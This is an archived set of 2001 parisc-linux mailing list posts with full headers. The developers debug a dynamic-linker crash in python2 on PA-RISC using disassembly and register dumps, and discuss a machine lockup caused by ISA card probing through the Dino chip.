Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP id C5EA11F6CE
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 15:32:17 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP id 33FF14247
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 13:34:46 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 15xCkf-00062G-00
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 13:34:45 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12835

CVS is now running on cvs.parisc-linux.org

	-Paul Bame



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] python (toolchain really) problems
Date: Fri, 26 Oct 2001 16:19:17 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <E15xFJt-0006F5-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620685 28905 80.91.229.3 (22 Nov 2014 01:44:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org, amodra@bigpond.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 16:19:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C453A482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 16:19:19 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 575441F6FF; Fri, 26 Oct 2001 18:19:18 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id DFB9C4247; Fri, 26 Oct 2001 16:19:17 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 15xFJt-0006F5-00; Fri, 26 Oct 2001 16:19:17 -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12836

One good reason not to upgrade right now is python is broken, but I'm
pretty sure this is a dynamic linker bug.  I tried my test against
glibc 2.2.4-4 which is currently in incoming.

_start is making it's first function call:

0x1053c <_start+40>:    ldil 20800,dp
0x10540 <_start+44>:    ldo 8(dp),dp
0x10544 <_start+48>:    b,l 0x104d4 <_init+56>,rp

to here:

000104d4 <.text>:
   104d4:       2b 60 00 00     addil 0,dp,%r1
   104d8:       48 35 02 58     ldw 12c(sr0,r1),r21
   104dc:       ea a0 c0 00     bv r0(r21)
   104e0:       48 33 02 60     ldw 130(sr0,r1),r19

r21 contains '0xdeadbeef' -- here are the details:

do_page_fault() pid=16052 command='python2' type=6 address=0x00c0ffef
vm_start = 0x00020000, vm_end = 0x00021000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001101111111100001111
r0-3     0000000000000000 0000000000020808 000000000001054f 0000000040029abc
r4-7     000000004024d048 00000000000bfef0 00000000000bfc30 00000000000bfc30
r8-11    00000000ffffffff 00000000000b9010 00000000000bfd70 00000000000bfcb0
r12-15   0000000000000000 00000000ffffffff 00000000000bfcf0 0000000000000000
r16-19   0000000000000000 0000000000000004 0000000000000004 0000000000020808
r20-23   0000000000020958 00000000deadbeef 0000000000c0ffee 000000000002090e
r24-27   00000000bff003b8 0000000000000001 0000000000020916 0000000000020808
r28-31   0000000000000000 000000007efefeff 00000000bff00580 000000004000ddf7
sr0-3    0000000000001c80 0000000000001c80 0000000000000000 0000000000001c80
sr4-7    0000000000001c80 0000000000001c80 0000000000001c80 0000000000001c80

IASQ: 0000000000001c80 0000000000001c80 IAOQ: 0000000000c0ffef 0000000000c0fff3
 IIR: 43ffff80    ISR: 0000000000001c80  IOR: 000000004033a08c
 CPU:        0   CR30: 0000000013f24000 CR31: 0000000010450000
 ORIG_R28: 00000000bff00b08

$ dpkg --list python2-base libc6
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
iF  python2-base   2.0.1-1.1      An interactive object-oriented scripting lan
ii  libc6          2.2.4-4        GNU C Library: Shared libraries and Timezone

I'll try rebuilding python...

	-Paul Bame



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] python (toolchain really) problems
Date: Fri, 26 Oct 2001 17:15:31 -0600
Lines: 112
Approved: news@gmane.org
Message-ID: <E15xGCJ-0006L7-00@noam.fc.hp.com>
References: <E15xFJt-0006F5-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620686 28908 80.91.229.3 (22 Nov 2014 01:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org, amodra@bigpond.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 17:15:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [192.151.27.9])
	by dsl2.external.hp.com (Postfix) with ESMTP id 52B09482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 17:15:33 -0600 (MDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel7.hp.com (Postfix) with ESMTP
	id 4EF501F613; Fri, 26 Oct 2001 19:13:03 -0400 (EDT)
Original-Received: from noam.fc.hp.com (noam.fc.hp.com [15.1.52.69])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id E35B54247; Fri, 26 Oct 2001 17:15:31 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.32 #1 (Debian))
	id 15xGCJ-0006L7-00; Fri, 26 Oct 2001 17:15:31 -0600
In-Reply-To: Your message of "Fri, 26 Oct 2001 16:19:17 MDT."
             <E15xFJt-0006F5-00@noam.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12837

Well hello world doesn't build with libc6 2.2.4-4 so I went back to -3
and here's what happens to python then:

(gdb) where
#0  0x400453ec in _init () from /usr/lib/libpython2.0.so.0.0
#1  0x40045124 in _init () from /usr/lib/libpython2.0.so.0.0
#2  0x4000dd64 in call_init () from /lib/ld.so.1
#3  0x4000ded4 in _dl_init () from /lib/ld.so.1
#4  0x40002b68 in _dl_start_user () from /lib/ld.so.1

(gdb) disassemble 0x400453ec
No function contains specified address.
[ELF header dump attached]

(gdb) disassemble 0x40045110
Dump of assembler code for function _init:
0x40045104 <_init>:     stw rp,-14(sr0,sp)
0x40045108 <_init+4>:   stw,ma r4,40(sr0,sp)
0x4004510c <_init+8>:   stw r19,-20(sr0,sp)
0x40045110 <_init+12>:  b,l 0x400450f4 <_dl_pagesize+110644>,rp
0x40045114 <_init+16>:  copy r19,r4
0x40045118 <_init+20>:  copy r4,r19
0x4004511c <_init+24>:  b,l 0x400453cc <_init+712>,rp
0x40045120 <_init+28>:  nop
0x40045124 <_init+32>:  copy r4,r19
0x40045128 <_init+36>:  b,l 0x400450e8 <_dl_pagesize+110632>,rp
0x4004512c <_init+40>:  nop
0x40045130 <_init+44>:  copy r4,r19
0x40045134 <_init+48>:  ldw -54(sr0,sp),rp
0x40045138 <_init+52>:  copy r4,r19
0x4004513c <_init+56>:  bv r0(rp)
0x40045140 <_init+60>:  ldw,mb -40(sr0,sp),r4

(gdb) disassemble 0x400453cc
No function contains specified address.

So it looks like _init+24 is branching to 0x400453cc:

$ ldd python2
        libpython2.0.so.0.0 => /usr/lib/libpython2.0.so.0.0 (0x4002b000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x40102000)
        libdl.so.2 => /lib/libdl.so.2 (0x4012b000)
        libutil.so.1 => /lib/libutil.so.1 (0x4013e000)
        libm.so.6 => /lib/libm.so.6 (0x40150000)
        libc.so.6 => /lib/libc.so.6 (0x401e1000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)


$ objdump -h /usr/lib/libpython2.0.so.0.0

/usr/lib/libpython2.0.so.0.0:     file format elf32-hppa-linux

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  8 .text         0007e700  0001a144  0001a144  0001a144  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

 17 .plt          00002794  000cfe54  000cfe54  000bfe54  2**2
                  CONTENTS, ALLOC, LOAD, CODE
 18 .got          000023d8  000d25e8  000d25e8  000c25e8  2**2
                  CONTENTS, ALLOC, LOAD, DATA


Disassembly of section .text:

0001a144 <.text>:
   1a144:       e8 20 00 00     b,l 0x1a14c,r1
   1a148:       28 39 60 00     addil 73000,r1,%r1
...

   1a3cc:       6b c2 3f d9     stw rp,-14(sr0,sp)		BRANCH TARGET
   1a3d0:       08 03 02 41     copy r3,r1
   1a3d4:       08 1e 02 43     copy sp,r3
   1a3d8:       6f c1 01 00     stw,ma r1,80(sr0,sp)
   1a3dc:       6b d3 3f c1     stw r19,-20(sr0,sp)
   1a3e0:       0c 73 12 90     stw  r19,8(sr0,r3)
   1a3e4:       2a 60 00 00     addil 0,r19,%r1
   1a3e8:       48 21 0f 68     ldw 7b4(sr0,r1),r1
   1a3ec:       0c 20 10 94     ldw  0(sr0,r1),r20		DIES HERE
   1a3f0:       86 80 20 42     cmpib,=,n 0,r20,0x1a418

do_page_fault() pid=14736 command='python2' type=15 address=0x000bb938
vm_start = 0x00020000, vm_end = 0x00021000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111
r0-3     0000000000000000 00000000000bb938 0000000040045127 00000000bff00680
r4-7     00000000400fce54 000000004002a09c 0000000040028a64 00000000bff003d0
r8-11    00000000bff003c8 0000000000000001 0000000000000001 00000000000cd670
r12-15   0000000000000000 00000000ffffffff 00000000000cd470 0000000000000000
r16-19   0000000000000000 0000000000000004 0000000000000004 00000000400fce54
r20-23   0000000000000001 00000000400c3840 0000000040045104 00000000400288f8
r24-27   00000000bff003d0 00000000bff003c8 0000000000000001 0000000000020808
r28-31   0000000040029a56 000000007efefeff 00000000bff00700 000000004000dd67
sr0-3    00000000009db680 00000000009db680 0000000000000000 00000000009db680
sr4-7    00000000009db680 00000000009db680 00000000009db680 00000000009db680

IASQ: 00000000009db680 00000000009db680 IAOQ: 00000000400453ef 00000000400453f3
 IIR: 0c201094    ISR: 00000000009db680  IOR: 00000000000bb938
 CPU:        0   CR30: 000000002dd9c000 CR31: 0000000010450000
 ORIG_R28: 00000000bff00b08

The dp is libpython + 0xd1e54 which is inside the .plt section.

Maybe a linker problem?

ii  binutils       2.11.92.0.10-1 The GNU assembler, linker and binary utiliti


	-P



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: python (toolchain really) problems
Followup-To: gmane.linux.ports.hppa
Date: Sat, 27 Oct 2001 10:48:24 +0930
Lines: 75
Approved: news@gmane.org
Message-ID: <20011027104824.C1050@bubble.sa.bigpond.net.au>
References: <E15xFJt-0006F5-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620686 28912 80.91.229.3 (22 Nov 2014 01:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:46 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Paul Bame <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 19:18:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta06ps.bigpond.com (mta06ps.bigpond.com [144.135.25.138])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BE30482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 19:18:33 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.81]) by
          mta06ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLUBXP00.CHY for <parisc-linux@parisc-linux.org>; Sat, 27 Oct
          2001 11:25:01 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by psmam05.mailsvc.email.bigpond.com(MailRouter V2.9k 8410/920531); 27 Oct 2001 11:18:25
Original-Received: (qmail 32728 invoked by uid 179); 27 Oct 2001 01:18:24 -0000
Mail-Followup-To: Paul Bame <bame@fc.hp.com>, parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <E15xFJt-0006F5-00@noam.fc.hp.com>; from bame@fc.hp.com on Fri, Oct 26, 2001 at 04:19:17PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12838

On Fri, Oct 26, 2001 at 04:19:17PM -0600, Paul Bame wrote:
> 
> One good reason not to upgrade right now is python is broken, but I'm
> pretty sure this is a dynamic linker bug.  I tried my test against
> glibc 2.2.4-4 which is currently in incoming.
> 
> _start is making it's first function call:
> 
> 0x1053c <_start+40>:    ldil 20800,dp
> 0x10540 <_start+44>:    ldo 8(dp),dp
> 0x10544 <_start+48>:    b,l 0x104d4 <_init+56>,rp
> 
> to here:
> 
> 000104d4 <.text>:
>    104d4:       2b 60 00 00     addil 0,dp,%r1
>    104d8:       48 35 02 58     ldw 12c(sr0,r1),r21
>    104dc:       ea a0 c0 00     bv r0(r21)
>    104e0:       48 33 02 60     ldw 130(sr0,r1),r19

I agree that it looks like a dynamic linker problem.  For those who might
be confused about how the above stub can lead to an IAOQ of 0x00c0ffee
with r21 = 0xdeadbeef, the explanation is that a little more code has
run than Paul showed.  The address stored at 0x20800+0x12c is that of
the lazy linking .plt stub, which looks like

1: ldw	0(%r20),%r22
   bv	%r0(%r22)
   ldw	4(%r20),%r21
start_here:
   b,l	1b,%r20
   depi	0,31,2,%r20
  .word	fixup_func	initialised to 0x00c0ffee by the linker
  .word	fixup_ltp	initialised to 0xdeadbeef

so for some reason the dynamic linker has failed to replace the fixup_func
dummy value with the real value.  See glibc/sysdeps/hppa/dl_machine.h:
elf_machine_runtime_setup for where this is supposed to happen.  From
the symptoms that Paul has shown here, I'd guess that DT_JMPREL or
DT_PLTRELSZ are missing/zero in Paul's binary, or that for some other
reason, elf_machine_runtime_setup hasn't even been called.

BTW, I don't think lazy linking has ever been tested because dl-machine.h
failed to define ELF_MACHINE_PLTREL_OVERLAP.  This had the unfortunate
effect of always fully relocating .plt.

Anyway, I hope the above explanation is enough for someone to track down
the problem if I don't find time.

Alan

> r21 contains '0xdeadbeef' -- here are the details:
> 
> do_page_fault() pid=16052 command='python2' type=6 address=0x00c0ffef
> vm_start = 0x00020000, vm_end = 0x00021000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001101111111100001111
> r0-3     0000000000000000 0000000000020808 000000000001054f 0000000040029abc
> r4-7     000000004024d048 00000000000bfef0 00000000000bfc30 00000000000bfc30
> r8-11    00000000ffffffff 00000000000b9010 00000000000bfd70 00000000000bfcb0
> r12-15   0000000000000000 00000000ffffffff 00000000000bfcf0 0000000000000000
> r16-19   0000000000000000 0000000000000004 0000000000000004 0000000000020808
> r20-23   0000000000020958 00000000deadbeef 0000000000c0ffee 000000000002090e
> r24-27   00000000bff003b8 0000000000000001 0000000000020916 0000000000020808
> r28-31   0000000000000000 000000007efefeff 00000000bff00580 000000004000ddf7
> sr0-3    0000000000001c80 0000000000001c80 0000000000000000 0000000000001c80
> sr4-7    0000000000001c80 0000000000001c80 0000000000001c80 0000000000001c80
> 
> IASQ: 0000000000001c80 0000000000001c80 IAOQ: 0000000000c0ffef 0000000000c0fff3
>  IIR: 43ffff80    ISR: 0000000000001c80  IOR: 000000004033a08c
>  CPU:        0   CR30: 0000000013f24000 CR31: 0000000010450000
>  ORIG_R28: 00000000bff00b08



From - Thu Nov 08 21:20:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] card probing
Date: Sat, 27 Oct 2001 02:20:58 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20011027022058.A23520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620686 28913 80.91.229.3 (22 Nov 2014 01:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 19:21:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1003D482B
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 19:21:01 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15xI9j-0006cF-00
	for parisc-linux@parisc-linux.org; Sat, 27 Oct 2001 02:20:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12839

I'm not sure how to solve this problem.  Suggestions appreciated.

If you compile a kernel with the hp100 driver in it, it will attempt to
detect ISA cards by probing.  This works fine when there's an EISA adapter
in the machine as it simply returns -1 when there are no cards present.
With no EISA adapter in the machine, the ioport probes are routed to
Dino instead.  When you attempt to read from a nonexistent io port
through Dino, it causes an HPMC.

This is something which could well cause problems for releasing a distro
as probing for ISA cards in a machine without an EISA adapter will lock
the machine.

Some ways of solving it:
 * change dino_in* to check whether the address is configured.  This could
   be slow.
 * on pre-SuckyIO machines, reserve HBA 0 for EISA.
 * Fix SuckyIO so that it doesn't assume it's on PCI bus 0 and always reserve
   HBA 0 for EISA.
 * Don't compile drivers which probe for ISA addresses or fix them to not
   probe unless there's an EISA adapter.  Lots of work, won't catch
   everything, dubious what strategy would be acceptable upstream.
 * Write an HPMC handler that recovers from Dino going fatal.
 * Turn on Less-than-fatal mode in Dino and handle resetting it...
   don't know how well this would work.

I don't know what Elroy does on reads of unassigned addresses.  This will
probably affect the decision of how to fix this since we want to ship
a 32-bit kernel that can boot on everything from a 720 to a J7000.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: python (toolchain really) problems
Date: Sat, 27 Oct 2001 02:22:07 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20011027022207.B23520@parcelfarce.linux.theplanet.co.uk>
References: <E15xFJt-0006F5-00@noam.fc.hp.com> <20011027104824.C1050@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620686 28916 80.91.229.3 (22 Nov 2014 01:44:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:46 +0000 (UTC)
To: Paul Bame <bame@fc.hp.com>, parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 26 19:22:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A361F492D
	for <parisc-linux@parisc-linux.org>; Fri, 26 Oct 2001 19:22:14 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15xIAp-0006cl-00; Sat, 27 Oct 2001 02:22:07 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011027104824.C1050@bubble.sa.bigpond.net.au>; from amodra@bigpond.net.au on Sat, Oct 27, 2001 at 10:48:24AM +0930
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12840

On Sat, Oct 27, 2001 at 10:48:24AM +0930, Alan Modra wrote:
> BTW, I don't think lazy linking has ever been tested because dl-machine.h
> failed to define ELF_MACHINE_PLTREL_OVERLAP.  This had the unfortunate
> effect of always fully relocating .plt.

Ah, that explains why the glibc tests that required lazy linking to work
always failed.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] card probing
Date: Sat, 27 Oct 2001 00:39:41 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <200110270639.AAA14566@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620687 28920 80.91.229.3 (22 Nov 2014 01:44:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 27 00:43:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29561482B
	for <parisc-linux@parisc-linux.org>; Sat, 27 Oct 2001 00:43:50 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id AAA14566;
	Sat, 27 Oct 2001 00:39:41 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sat, 27 Oct 2001 02:20:58 BST." <20011027022058.A23520@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12841

Matthew Wilcox wrote:
> I don't know what Elroy does on reads of unassigned addresses.  This will
> probably affect the decision of how to fix this since we want to ship
> a 32-bit kernel that can boot on everything from a 720 to a J7000.

C3000 HPMC's. I just commited -pa72 in order to test this.
I built HP100 as a module w/o CONFIG_EISA defined.
